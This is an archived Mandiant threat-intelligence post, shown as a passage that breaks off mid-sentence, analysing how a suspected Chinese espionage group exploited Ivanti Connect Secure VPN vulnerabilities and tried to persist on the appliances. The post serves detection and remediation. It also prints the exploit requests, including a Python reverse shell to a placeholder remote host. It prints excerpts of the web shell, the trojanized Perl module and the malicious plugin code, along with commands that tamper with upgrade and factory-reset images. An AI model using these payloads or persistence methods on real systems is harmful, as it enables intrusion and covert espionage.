{
	"id": "082d3389-8415-4dc9-8355-91a8ff03a6d7",
	"created_at": "2026-04-06T00:19:20.670142Z",
	"updated_at": "2026-04-10T13:11:27.426013Z",
	"deleted_at": null,
	"sha1_hash": "c09530e0a702e0e4559216e5b0fb372b353232e6",
	"title": "Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 229620,
	"plain_text": "Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN\r\nExploitation and Persistence Attempts\r\nBy Mandiant\r\nPublished: 2024-02-27 · Archived: 2026-04-05 18:14:19 UTC\r\nWritten by: Matt Lin, Robert Wallace, Austin Larsen, Ryan Gandrud, Jacob Thompson, Ashley Pearson, Ashley\r\nFrazer\r\nMandiant and Ivanti's investigations into widespread Ivanti zero-day exploitation have continued across a variety\r\nof industry verticals, including the U.S. defense industrial base sector. Following the initial publication on Jan. 10,\r\n2024, Mandiant observed mass attempts to exploit these vulnerabilities by a small number of China-nexus threat\r\nactors, and development of a mitigation bypass exploit targeting CVE-2024-21893 used by UNC5325, which we\r\nintroduced in our \"Cutting Edge, Part 2\" blog post. \r\nNotably, Mandiant has identified UNC5325 using a combination of living-off-the-land (LotL) techniques to better\r\nevade detection, while deploying novel malware such as LITTLELAMB.WOOLTEA in an attempt to persist\r\nacross system upgrades, patches, and factory resets. While the limited attempts observed to maintain persistence\r\nhave not been successful to date due to a lack of logic in the malware's code to account for an encryption key\r\nmismatch, it further demonstrates the lengths UNC5325 will go to maintain access to priority targets and\r\nhighlights the importance of ensuring network appliances have the latest updates and patches.\r\nIvanti customers are urged to take immediate action to ensure protection if they haven't done so already. A new\r\nversion of the external Integrity Checking Tool (ICT), which helps detect these persistence attempts, is now\r\navailable. See Ivanti's security advisory and refer to our updated remediation and hardening guide, which includes\r\nthe latest recommendations.\r\nThe exploitation of the Ivanti zero-days has likely impacted numerous appliances. While much of the activity has\r\nbeen automated, there has been a smaller subset of follow-on activity providing further insights on attacker tactics,\r\ntechniques, and procedures (TTPs). Mandiant assesses additional actors will likely begin to leverage these\r\nvulnerabilities to enable their operations.\r\nTo date, Ivanti has disclosed the following five vulnerabilities affecting Ivanti Connect Secure and other products.\r\nDate CVE CVSS Description\r\nJan. 10, 2024 CVE-2023-46805 8.2 Authentication bypass vulnerability in web component\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 1 of 19\n\nJan. 10, 2024 CVE-2024-21887 9.1 Command injection vulnerability in web component\r\nJan. 31, 2024 CVE-2024-21888 8.8 Privilege escalation vulnerability in web component\r\nJan. 31, 2024 CVE-2024-21893 8.2 SSRF vulnerability in the SAML component\r\nFeb. 08, 2024 CVE-2024-22024 8.3 XXE vulnerability in the SAML component\r\nTable 1: Ivanti vulnerability disclosures Jan. 10, 2024 to Feb. 8, 2024\r\nIn our previous blog post, we described a mitigation bypass that was used to drop a newly identified BUSHWALK\r\nwebshell. The mitigation bypass is now tracked as CVE-2024-21893. It is a server-side request forgery (SSRF)\r\nvulnerability in the SAML component of Ivanti Connect Secure (CS), Policy Secure (PS), and Neurons for Zero\r\nTrust Access (NZTA) appliances that was addressed in the patches and mitigations released on Jan. 31, 2024. \r\nSince that post, an additional vulnerability was reported on Feb. 8, 2024, by Ivanti, CVE-2024-22024, related to\r\nan XML External Entity (XXE) vulnerability in the SAML component that allows unauthenticated attackers to\r\ngain access to restricted resources on patched appliances.\r\nAttribution\r\nUNC5325\r\nUNC5325 is a suspected Chinese cyber espionage operator that exploited CVE-2024-21893 to compromise Ivanti\r\nConnect Secure appliances. UNC5325 leveraged code from open-source projects, installed custom malware, and\r\nmodified the appliance's settings in order to evade detection and attempt to maintain persistence. UNC5325 has\r\nbeen observed deploying LITTLELAMB.WOOLTEA, PITSTOP, PITDOG, PITJET, and PITHOOK. Mandiant\r\nidentified TTPs and malware code overlaps in LITTLELAMB.WOOLTEA and PITHOOK with malware\r\nleveraged by UNC3886. Mandiant assesses with moderate confidence that UNC5325 is associated with\r\nUNC3886.\r\nUNC3886\r\nUNC3886 is a suspected Chinese espionage operator that has compromised network devices at targets where\r\nthey leveraged novel techniques against virtualization technologies. They installed custom malware built for such\r\ntechnologies by leveraging code from open-source projects as well as exploiting zero-day vulnerabilities.\r\nUNC3886 has primarily targeted the defense industrial base, technology, and telecommunication organizations\r\nlocated in the US and APJ regions. We are continuing to gather evidence and identify overlaps between UNC3886\r\nand other suspected Chinese espionage groups, including targeting and the use of distinct tactics, techniques, and\r\nprocedures (TTPs). \r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 2 of 19\n\nNew TTPs and Malware\r\nSince our last blog post on Ivanti exploitation, Mandiant has identified UNC5325 exploiting CVE-2024-21893\r\n(SSRF) to deploy additional malware and maintain persistent access to compromised appliances. In addition, we\r\nhave observed new TTPs that attempted to enable the custom backdoors to persist across factory resets, system\r\nupgrades, and patches. The limited attempts observed to maintain persistence have not been successful to date.\r\nExploitation of CVE-2024-21893 (SSRF)\r\nMandiant identified active exploitation of CVE-2024-21893 by UNC5325 as early as Jan. 19, 2024, targeting a\r\nlimited number of Ivanti Connect Secure appliances.\r\nOn Jan. 31, 2024, Ivanti disclosed CVE-2024-21893, a server-side request forgery (SSRF) vulnerability in the\r\nSAML component of Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA. To date, we have\r\nonly identified successful exploitation against Ivanti Connect Secure appliances.\r\nIn the same Jan. 31, 2024, announcement, Ivanti released a new XML mitigation to prevent exploitation of all four\r\n(4) disclosed CVEs at the time of the announcement. This included:\r\nCVE-2023-46805 (authentication bypass)\r\nCVE-2024-21887 (command injection)\r\nCVE-2024-21888 (privilege escalation)\r\nCVE-2024-21893 (server-side request forgery)\r\nCVE-2024-21893 allowed for an unauthenticated attacker to exploit an appliance by chaining the previously\r\ndisclosed command injection vulnerability as described in CVE-2024-21887. This includes appliances with the\r\nXML mitigation released on Jan. 10, 2024.\r\nChaining CVE-2024-21893 (SSRF) and CVE-2024-21887 (Command Injection)\r\nShortly after the disclosure of CVE-2024-21893, Mandiant observed threat actors chaining the SSRF vulnerability\r\nwith the command injection vulnerabilities described in CVE-2024-21887 to exploit vulnerable devices.\r\nIn some instances, publicly available services, such as Interactsh, were used to validate whether the target was\r\nvulnerable to CVE-2024-21893.\r\nGET /api/v1/license/keys-status/;python -c 'import\r\nsocket;socket.gethostbyname(\"\u003crandomstring\u003e.oast.live\")'\r\nFigure 1: CVE-2024-21893 vulnerability validation\r\nShortly after a vulnerable target was identified, the threat actor executed follow-on commands to perform\r\nreconnaissance and, in some cases, establish a reverse shell.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 3 of 19\n\nGET /api/v1/license/keys-status/;python -c 'import\r\nsocket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\n;s.connect((\"\u003cremote_ip\u003e\",\u003cport\u003e));subprocess.call([\"/bin/sh\",\"-i\"]\r\nFigure 2: Python reverse TCP shell\r\nIdentifying Exploitation Attempts\r\nExploitation of the SSRF vulnerability in the SAML component generates up to two (2) log events and some host-based artifacts on an affected appliance.\r\nIf the Ivanti Connect Secure appliance is configured to log unauthenticated requests, event ID  AUT31556  is\r\ngenerated when an unauthenticated attacker requests the vulnerable SAML endpoint,  /dana-ws/saml.ws . The\r\nevent includes the source IP address of the unauthenticated request.\r\nAUT31556: Unauthenticated request url /dana-ws/saml.ws came from IP\r\n\u003cREDACTED\u003e.\r\nFigure 3: Event log entry showing unauthenticated request to vulnerable SAML endpoint\r\nIn addition, the server fails to gracefully handle the maliciously crafted SAML payload to exploit CVE-2024-\r\n21893. The appliance generates an error event log entry with event ID  ERR31903  when the  saml-server  process\r\ncrashes, which is potentially indicative of an exploitation attempt.\r\nERR31093: Program saml-server recently failed.\r\nFigure 4: Event log entry of process crash\r\nWe recommend analyzing both allocated and unallocated disk space on the forensic image for the presence of the\r\nlog events as we have observed the threat actor deleting the relevant log files.\r\nLastly, the crash of the  saml-server  process generates core dumps located in  /data/var/cores/ . If the core\r\ndumps are available, it is possible to extract the crafted SAML message, HTTP headers of the request, and the\r\nsource IP address. We have observed the threat actor deleting the contents of the  cores  directory, but we have\r\nsuccessfully recovered relevant fragments of the core dumps through file carving.\r\nBUSHWALK Variant\r\nIn Cutting Edge, Part 2, we introduced a new web shell tracked as BUSHWALK associated with the exploitation\r\nof CVE-2024-21893 and CVE-2024-21887. Similar to other web shells observed in this campaign, BUSHWALK\r\nis written in Perl and embedded into a legitimate Ivanti Connect Secure component,  querymanifest.cgi .\r\nMandiant identified a new variant of BUSHWALK through our incident response engagements. This new variant\r\nof BUSHWALK was identified on a compromised appliance less than twelve (12) hours following Ivanti's\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 4 of 19\n\ndisclosure of CVE-2024-21893 on Jan. 31, 2024. The variant is similar to the BUSHWALK sample described in\r\nour previous blog post, but with a new function named  checkVerison  that enables arbitrary file read from the\r\nappliance. The function is executed when the decrypted payload contains the string check. Figure 5 shows the\r\nrelevant  checkVerison  function.\r\nsub checkVerison\r\n{\r\n my ($file, $key) = @_;\r\n my $contents = \"\";\r\n my $buffer;\r\n my $bytesread = 0;\r\n my $totalbytesread = 0;\r\n local *FILE;\r\n CORE::open(*FILE, $file);\r\n while($bytesread = sysread(FILE, $buffer, 1024)) {\r\n $contents .= $buffer;\r\n $totalbytesread += $bytesread;\r\n }\r\n if ($totalbytesread == 0) {\r\n print \"Unable to read file with path: $file\";\r\n print CGI::header(-type=\u003e\"text/html\", -status=\u003e '404 Not Found');\r\n exit;\r\n }\r\n print CGI::header();\r\n $contents = RC4($key, $contents);\r\n $contents = MIME::Base64::encode_base64($contents);\r\n print $contents;\r\n close *FILE;\r\n}\r\nFigure 5: BUSHWALK's checkVerison function for file reading\r\nNote that we have observed the same RC4 key for decrypting issued commands across the two BUSHWALK\r\nvariants and all identified samples.\r\nIn addition, we have seen the threat actor demonstrate a nuanced understanding of the appliance and their ability\r\nto subvert detection throughout this campaign. We identified a technique allowing BUSHWALK to remain in an\r\nundetected dormant state by creatively modifying a Perl module and LotL technique by using built-in system\r\nutilities unique to Ivanti products.\r\nTo accomplish this, the threat actor first modifies a Perl module,  DSUserAgentCap.pm , that evaluates incoming\r\nuser agents. The modification enables the threat actor to either activate or deactivate BUSHWALK depending on\r\nthe incoming HTTP request's user agent.\r\nFigure 6 provides the excerpt of the modification in  DSUserAgentCap.pm . Note the difference in spelling\r\nbetween  App1eWebKit  and  AppIeWebKit  in the two user agent strings.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 5 of 19\n\nsub getUserAgentType {\r\n my ($user_agent) = @_;\r\n if ($user_agent eq \"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\nApp1eWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36\"){\r\n system(\"mount -o remount,rw /\");\r\n system(\"/home/bin/configdecrypt /data/runtime\r\n/cockpit/diskAnalysis /data/runtime/cockpit/diskAnalysis.bak\");\r\n system(\"cp /home/webserver/htdocs/dana-na/jam/querymanifest.cgi\r\n/home/webserver/htdocs/dana-na/jam/querymanifest.cgi.bak\");\r\n system(\"echo '/home/webserver/htdocs/dana-na/jam\r\n/querymanifest.cgi' \u003e\u003e /home/etc/manifest/exclusion_list\");\r\n system(\"mv /data/runtime/cockpit/diskAnalysis.bak\r\n/home/webserver/htdocs/dana-na/jam/querymanifest.cgi\");\r\n system(\"chmod 755 /home/webserver/htdocs/dana-na/jam\r\n/querymanifest.cgi\");\r\n system(\"mkdir /debug\");\r\n system(\"/home/bin/restartServer.pl Restart\");\r\n exit(0);\r\n }\r\n elsif ($user_agent eq \"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\nAppIeWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36\"){\r\n system(\"mv /home/webserver/htdocs/dana-na/jam\r\n/querymanifest.cgi.bak /home/webserver/htdocs/dana-na/jam/querymanifest.cgi\");\r\n system(\"touch -r /home/webserver/htdocs/dana-na/auth\r\n/setcookie.cgi /home/webserver/htdocs/dana-na/jam/querymanifest.cgi\");\r\n system(\"/bin/sed -i '\\$d' /home/etc/manifest/exclusion_list\");\r\n system(\"rm -rf /debug\");\r\n system(\"mount -o remount,ro /\");\r\n exit(0);\r\n }\r\n else{\r\n my $type = DSClientTypes::getUserAgentType($user_agent);\r\n return $type;\r\n }\r\nFigure 6: Excerpt of DSUserAgentCap.pm\r\nAn encrypted version of BUSHWALK is placed in a directory excluded by the integrity checker tool (ICT)\r\nin  /data/runtime/cockpit/diskAnalysis . \r\nThe activation routine (the  if  block) uses a built-in utility on the appliance located\r\nin  /home/bin/configdecrypt  used for decrypting the system's configuration. The routine executes\r\nthe  configdecrypt  utility to decrypt  diskAnalysis  containing the BUSHWALK web shell. It then makes a\r\nbackup of the original  querymanifest.cgi  file, adds it to the  exclusion_list , moves BUSHWALK to the web\r\nserver directory, and restarts the web server to load the web shell.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 6 of 19\n\nThe deactivation routine (the  elseif  block) restores the original  querymanifest.cgi  file, timestomps it\r\nusing  touch  to hide their activity, removes the path of BUSHWALK from  exclusion_list , and restarts the\r\nweb server. However, the encrypted version of BUSHWALK remains dormant in a dynamic directory and\r\ntherefore is not scanned by the integrity checker tool. It continues to quietly persist\r\nin  /data/runtime/cockpit/diskAnalysis  until the threat actor activates it again.\r\nThe internal ICT is configured to run in two-hour intervals by default and is meant to be run in conjunction with\r\ncontinuous monitoring. Any malicious file system modifications made and reverted between the two-hour scan\r\nintervals would remain undetected by the ICT. When the activation and deactivation routines are performed\r\ntactfully in quick succession, it can minimize the risk of ICT detection by timing the activation routine to coincide\r\nprecisely with the intended use of the BUSHWALK webshell.\r\nSparkGateway Plugin Abuse\r\nIn a limited number of instances following exploitation of CVE-2024-21893, we identified the use of\r\nSparkGateway plugins to persistently inject shared objects and deploy backdoors. SparkGateway is a legitimate\r\ncomponent of the Ivanti Connect Secure appliance that enables remote access protocols over a browser, such as\r\nRDP or SSH. The functionality of SparkGateway can be extended through plugins.\r\nPITFUEL Plugin\r\nMandiant identified a SparkGateway plugin named  plugin.jar  (PITFUEL) that loads the shared\r\nobject  libchilkat.so  (LITTLELAMB.WOOLTEA) through the Java Native Interface (JNI) by\r\ncalling  System.load() . The shared object persistently deploys backdoors and contains capabilities to persist\r\nacross system upgrade events, patches, and factory resets.\r\nFigure 7 shows the relevant excerpt of the  PluginManager  class in PITFUEL.\r\npublic class PluginManager {\r\n static {\r\n try {\r\n System.load(\"/home/runtime/SparkGateway/libchilkat.so\");\r\n } catch (Exception exception) {}\r\n try {\r\n Config config = Config.getInstance();\r\n config.remove(\"plugin\");\r\n config.remove(\"pluginFile\");\r\n } catch (Exception exception) {}\r\n try {\r\n Logger logger = Logger.getLogger(Config.class.getName());\r\n SparkGatewayFilter sparkGatewayFilter = new SparkGatewayFilter();\r\n logger.setFilter(sparkGatewayFilter);\r\n } catch (Exception exception) {}\r\n }\r\n \r\n static class SparkGatewayFilter implements Filter {\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 7 of 19\n\npublic boolean isLoggable(LogRecord param1LogRecord) {\r\n return (param1LogRecord.getLevel().intValue() != Level.\r\nSEVERE.intValue());\r\n }\r\n }\r\n}\r\nFigure 7: PluginManager class of SparkGateway plugin (PITFUEL)\r\nUpon execution,  libchilkat.so  (LITTLELAMB.WOOLTEA) performs a number of initialization routines to\r\nensure that it persistently runs in the background on the compromised system. It accomplishes this by\r\ndaemonizing itself, attempting to trap  SIGPIPE ,  SIGKILL , and  SIGTERM  signals, and adjusting the out of\r\nmemory (OOM) adjustment value ( oom_adj ) to  -17  to keep the process running even when the system is out of\r\nmemory.\r\nPersistence Across System Upgrades and Patches\r\nUpon first execution, LITTLELAMB.WOOLTEA executes the  first_run()  function. It calls\r\nthe  edit_current_data_backup()  function that appends its malicious components to an\r\narchive,  /data/pkg/data-backup.tgz . Figure 8 provides the equivalent command sequence.\r\ngzip -d /data/pkg/data-backup.tgz \u003e /dev/null 2\u003e\u00261\r\ntar -rf /data/pkg/data-backup.tar /data/runtime/SparkGateway/plugin.jar\r\n/data/runtime/SparkGateway/libchilkat.so\r\n/data/runtime/SparkGateway/gateway.conf \u003e /dev/null 2\u003e\u00261\r\ngzip /data/pkg/data-backup.tar \u003e /dev/null 2\u003e\u00261\r\nmv /data/pkg/data-backup.tar.gz /data/pkg/data-backup.tgz \u003e /dev/null 2\u003e\u00261\r\nFigure 8: Command sequence executed by edit_current_data_backup()\r\nDuring a system upgrade or when applying a patch,  data-backup.tgz  contains a backup of the  data  directory\r\nthat is restored after the upgrade event. In addition, the function timestomps  data-backup.tgz  by\r\ncalling  utimensat . This modification would ensure its malicious components ( plugin.jar ,  libchilkat.so ,\r\nand  gateway.conf ) persist across system upgrades and patches.\r\n(cd / ; tar -zxBf /data/pkg/data-backup.tgz \u003e/dev/null 2\u003e\u00261)\r\nFigure 9: Decompression of data-backup.tgz during system upgrade events\r\nIn addition, the malware contains a function named  upgrade_monitor()  that supports persistence across system\r\nupgrade and patch events. We assess that this acts as a secondary persistence method by making a modification at\r\nthe precise moment of a system upgrade or patch event.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 8 of 19\n\nIt monitors for system upgrade events by continually checking the filesystem for the existence\r\nof  /tmp/data/root/dev . This path is used to support a system upgrade process. In other words, the presence of\r\nthe path indicates to the malware the existence of a system upgrade event.\r\nIf the path exists, it intervenes the system upgrade process by appending itself and its constituent components into\r\nthe archive  /tmp/data/root/samba_upgrade.tar . During a system upgrade process, the appliance\r\ndecompresses  samba_upgrade.tar  for data migration purposes. Figure 10 provides the command executed\r\nby  upgrade_monitor()  when it detects the existence of  /tmp/data/root/dev .\r\ntar -rf /tmp/data/root/samba_upgrade.tar\r\n/home/runtime/SparkGateway/plugin.jar\r\n/home/runtime/SparkGateway/libchilkat.so\r\n/home/runtime/SparkGateway/gateway.conf \u003e /dev/null 2\u003e\u00261\r\nFigure 10: Shell command executed by upgrade_monitor()\r\nDuring the system upgrade or patch process, the  post-install  bash script executes the following to\r\ndecompress  samba_upgrade.tar , copying the malicious components ( libchilkat.so ,  plugin.jar ,\r\nand  gateway.conf ) to the new active partition. Figure 11 provides the relevant command sequence from  post-install .\r\ntar -tf $upgrade_partition samba_upgrade.tar \u003e /dev/null 2\u003e\u00261\r\nif [ $? -eq 0 ]; then\r\n (cd /; tar -xf $upgrade_partition samba_upgrade.tar \u003e/dev/null)\r\nfi\r\n Figure 11: Decompression of samba_upgrade.tar by post-install script\r\nAttempted Persistence Across Factory Resets\r\nNext, LITTLELAMB.WOOLTEA executes  first_run() , which reads and checks the hardware of the appliance\r\nby reading the first four (4) bytes of the motherboard serial number at  /proc/ive/mbserialnumber  and adjusts its\r\nbehavior to mount the root partition of the factory reset image for further modification.\r\nIf the four (4) bytes match the strings  0331 ,  0332 ,  0340 ,  0481 , or  0482 , the malware executes the\r\nfollowing command to mount  /dev/md5  (factory reset root partition) on  /dev/loop5 .\r\n/bin/losetup /dev/loop5 /dev/md5 \u003e /dev/null 2\u003e\u00261\r\nFigure 12: Command to set up loop device for block device /dev/md5\r\nEach of the four-byte strings corresponds to a physical Pulse Secure Appliance (PSA) or a Ivanti Secure Appliance\r\n(ISA) product.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 9 of 19\n\nMachine ID Appliance Model Number\r\n0331 PSA 7000F\r\n0332 PSA 7000C\r\n0340 PSA 10000\r\n0481 ISA 8000F\r\n0482 ISA 8000C\r\nTable 2: Machine ID to physical appliance model number\r\nOtherwise, the malware executes the following command to mount  /dev/xda5  (factory reset root partition)\r\non  /dev/loop5  if the four (4) bytes do not match any of the machine ID strings or if it fails to\r\nread  /proc/ive/mbserialnumber .\r\n/bin/losetup /dev/loop5 /dev/xda5 \u003e /dev/null 2\u003e\u00261\r\nFigure 13: Command to set up loop device for block device /dev/xda5\r\nNext, LITTLELAMB.WOOLTEA mounts the newly created loop device ( /dev/loop5 ) to  /tmp/tmpmnt  to\r\nmodify the factory reset root partition. Figure 14 provides the equivalent command sequence.\r\nmkdir -m 777 /tmp/tmpmnt\r\nmount /dev/loop5 /tmp/tmpmnt -t ext2\r\nFigure 14: Command to mount loop device /dev/loop5\r\nIt's important to note that  /bin/losetup  uses an embedded encryption key within the running version's kernel\r\nused to decrypt the running version's partition. This encryption key is hardcoded at the time of build compilation\r\nand is unique for each appliance version.\r\nHowever, the factory reset partition maintains its own independent encryption key embedded in the factory kernel.\r\nIf the current running version and the factory reset deployment versions differ (i.e., the appliance or VM has been\r\nupdated at least once), then  /bin/losetup  will fail to decrypt the factory reset partition due to the encryption key\r\nmismatch and thus the malware will not persist after factory reset.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 10 of 19\n\nNote that Mandiant and Ivanti conducted forensic analysis on an affected appliance after factory reset to confirm\r\nno evidence of malware persistence. Because the appliance had undergone at least one update since its initial\r\ndeployment, the malware failed to persist through the factory reset as the encryption key of the factory reset kernel\r\nand the running version kernel were different.\r\nIf  losetup  had succeeded in decrypting the factory reset image, the malware would continue its persistence\r\nworkflow. To modify the factory reset process, it calls the  edit_factory_reset()  function that renames\r\nthe  tar  binary to  tra  in the mounted factory reset partition.\r\nmv /tmp/tmpmnt/bin/tar /tmp/tmpmnt/bin/tra\r\nFigure 15: Command to rename tar binary\r\nThen, the malware writes a trojanized version of the  tar  binary to  /tmp/tmpmnt/bin/tar , makes\r\nthe  tar  binary executable, and preemptively appends its malicious components (using the\r\nlegitimate  tar  utility) to the archive  /tmp/tmpmnt/bin/samba_upgrade.tar  inside the factory reset partition.\r\ntar -rf /tmp/tmpmnt/bin/samba_upgrade.tar\r\n/home/runtime/SparkGateway/plugin.jar\r\n/home/runtime/SparkGateway/libchilkat.so\r\n/home/runtime/SparkGateway/gateway.conf \u003e /dev/null 2\u003e\u00261\r\nFigure 16: Command to archive components to samba_upgrade.tar\r\nThe trojanized  tar  binary checks for a set of specific conditions to copy the\r\nmalicious  /bin/samba_upgrade.tar  to  /tmp/samba_upgrade.tar  during the factory reset process. \r\nThere are four arguments provided ( argc  is equal to 4)\r\nThe second argument,  argv[1] , is  -cf  \r\nThe fourth argument,  argv[3] , is  no-data\r\nIf any of these conditions are not met, the trojanized  tar  binary executes the legitimate  tar  ( /bin/tra )\r\nutility backed up in Figure 15.\r\nThe conditions are satisfied by a component of the factory reset procedure responsible for resetting the\r\nconfiguration ( dsconfigreset ). The utility creates an empty file in  /tmp/no-data  and archives it\r\nusing  /bin/tar -cf . Figure 17 provides the relevant command sequence.\r\necho \"\" \u003e /tmp/no-data\r\n(cd /tmp; /bin/tar -cf $tmp_part no-data)\r\nFigure 17: Command executed during factory reset by dsconfigreset\r\nWhen  dsconfigreset  executes  /bin/tar -cf $tmp_part no-data , the trojanized  tar  copies the contents\r\nof  /bin/samba_upgrade.tar  containing its malicious components to  /tmp/samba_upgrade.tar  in the factory\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 11 of 19\n\nreset root partition (mounted on  /tmp/tmpmnt ).\r\nNext, similar to the previously described system upgrade persistence flow, the appliance executes the  post-install  bash script during the installation process of the new system. This script decompresses\r\nthe  samba_upgrade.tar  archive in the factory reset partition, copying the malicious components\r\n( libchilkat.so ,  plugin.jar , and  gateway.conf ) to the new active partition created after the factory reset.\r\nHooking the Web Server Process\r\nThe  httpd_monitor()  function ensures the persistent injection of another shared\r\nobject,  libaprhelper.so  (PITSOCK), into the  web  process using a built-in injection function\r\nnamed  inject_loop() . \r\nPITSOCK hooks the functions  accept  and  setsockopt  of the  web  process by modifying its procedure linkage\r\ntable (PLT). This enables backdoor communication via the Unix socket  /tmp/clientsDownload.sock  when it\r\nreceives a specific 48-byte magic byte sequence in the incoming buffer.\r\nCreating the Malicious SparkGateway Plugin\r\nLastly,  libchilkat.so  calls  persist() , which modifies the SparkGateway configuration file. Figure 18 shows\r\nan excerpt from the modified SparkGateway configuration file to support and load the plugin.\r\nplugin = com.toremote.gateway.plugin.PluginManager\r\npluginFile = /home/runtime/SparkGateway/plugin.jar\r\nFigure 18: Excerpt of SparkGateway configuration file\r\nBackdoor Features\r\nlibchilkat.so  also serves as a stand-alone backdoor that supports expected features such as command\r\nexecution, file management, shell creation, SOCKS proxy, and network traffic tunneling. It communicates over\r\nSSL using the private key located on the Ivanti Connect Secure web server\r\n( /home/webserver/conf/ssl.key/secure.key ) and communicates using the\r\nsocket  /tmp/clientsDownload.sock .\r\nPITDOG Plugin\r\nMandiant identified a second malicious SparkGateway plugin named  security.jar  (PITDOG) that uses Kubo\r\nInjector ( memorysCounter ) to inject a shared object,  mem.rd  (PITHOOK), into the  web  process memory, and\r\npersistently executes a backdoor,  dsAgent  (PITSTOP). Figure 19 shows the relevant excerpts\r\nfrom  security.jar .\r\npublic class SparkPlugin implements ManagerInterface {\r\n public static void watchdog() {\r\n try {\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 12 of 19\n\nThread.sleep(300000L);\r\n ProcessBuilder processBuilder = new ProcessBuilder(new String[0]);\r\n Process process = Runtime.getRuntime().exec(new String[] { \"/bin/sh\",\r\n\"-c\", \"ps aux|grep '/home/bin/web'|grep -v grep |\r\nawk '{if (NR!=1) {print $2}}'\" });\r\n BufferedReader reader = new BufferedReader(new InputStreamReader\r\n(process.getInputStream()));\r\n String line;\r\n while ((line = reader.readLine()) != null) {\r\n int procnum = Integer.parseInt(line);\r\n String catprocstr = String.format(\"cat /proc/%d/maps | grep mem.rd\",\r\nnew Object[] { Integer.valueOf(procnum) });\r\n Process processinjectres = Runtime.getRuntime().exec(new String[]\r\n{ \"/bin/sh\", \"-c\", catprocstr });\r\n BufferedReader processinjectreader = new BufferedReader(new\r\nInputStreamReader(processinjectres.getInputStream()));\r\n if ((line = processinjectreader.readLine()) == null) {\r\n String processinjectstr = String.format(\"/data/runtime/cockpit\r\n/memorysCounter -p %d /data/runtime/cockpit/mem.rd\", new Object[]\r\n{ Integer.valueOf(procnum) });\r\n Process process1 = Runtime.getRuntime().exec(new String[]\r\n{ \"/bin/sh\", \"-c\", processinjectstr });\r\n }\r\n }\r\n Process processps = Runtime.getRuntime().exec(new String[]\r\n{ \"/bin/sh\", \"-c\", \"ps aux|grep '/data/runtime/cockpit/dsAgent'|grep\r\n-v grep | awk '{print $2}'\" });\r\n BufferedReader readerps = new BufferedReader(new\r\nInputStreamReader(processps.getInputStream()));\r\n if ((line = readerps.readLine()) == null) {\r\n Process processinjectres = Runtime.getRuntime().exec(\"rm\r\n-f /data/runtime/cockpit/wd.lock\");\r\n ProcessBuilder processBuilder1 = (new ProcessBuilder(new\r\nString[] { \"/data/runtime/cockpit/dsAgent\" })).redirectErrorStream(true);\r\n Process process1 = processBuilder1.start();\r\n }\r\n } catch (Exception exception) {}\r\n }\r\n \r\n public HandshakeInterface getHandshakePlugin() {\r\n long timeInterval = 10000L;\r\n Runnable runnable = new Runnable() {\r\n public void run() {\r\n while (true) {\r\n SparkPlugin.watchdog();\r\n try {\r\n Thread.sleep(10000L);\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 13 of 19\n\n} catch (InterruptedException e) {\r\n e.printStackTrace();\r\n }\r\n }\r\n }\r\n };\r\n Thread thread = new Thread(runnable);\r\n thread.start();\r\n return null;\r\n }\r\nFigure 19: Excerpt of security.jar plugin\r\nThe SparkGateway configuration is modified to load the plugin. Figure 20 shows the relevant excerpt\r\nfrom  gateway.conf .\r\nplugin = SparkPlugin\r\npluginFile = /data/runtime/cockpit/security.jar\r\nFigure 20: Excerpt of SparkGateway configuration file\r\nThe  security.jar  plugin is executed during the negotiation of an RDP connection when the system invokes the\r\nHandshake plugin. The  getHandshakePlugin()  method creates a new thread from a Runnable interface that\r\nrepeatedly calls  SparkPlugin.watchdog()  every ten (10) seconds. This acts as a persistence method to ensure the\r\ncontinuous execution of the malicious  watchdog  method without interfering with the primary operation of the\r\nSparkGateway application.\r\nThe  watchdog  method first checks if the shared object  mem.rd  (PITHOOK) is mapped within the  web  process\r\nmemory. If not, it injects  mem.rd  into the  web process.\r\nFigure 21 shows the command executed to inject PITHOOK ( mem.rd ) into the web process,\r\nwhere  %d  represents the process ID (PID) of the  web  process.\r\n/data/runtime/cockpit/memorysCounter -p %d /data/runtime/cockpit/mem.rd\r\nFigure 21: Command to inject PITHOOK\r\nWe determined that  /data/runtime/cockpit/memorysCounter  is a direct instance of Kubo Injector without any\r\nadditional modifications or changes. Kubo Injector is based on the popular linux-inject project, a utility that can\r\ninject a shared object into an arbitrary process given a process name or process ID.\r\nPITHOOK hooks the accept and accept4 functions within the web process by modifying the PLT. When\r\nPITHOOK receives a buffer matching the predefined magic byte sequence, it will duplicate the socket and\r\nforward it to PITSTOP over the Unix domain socket /data/runtime/cockpit/wd.fd .\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 14 of 19\n\nLastly, the  watchdog  method will execute the PITSTOP backdoor ( /data/runtime/cockpit/dsAgent ) if it is not\r\nalready running.\r\nPITSTOP creates and listens on the Unix domain socket located at /data/runtime/cockpit/wd.fd . It waits 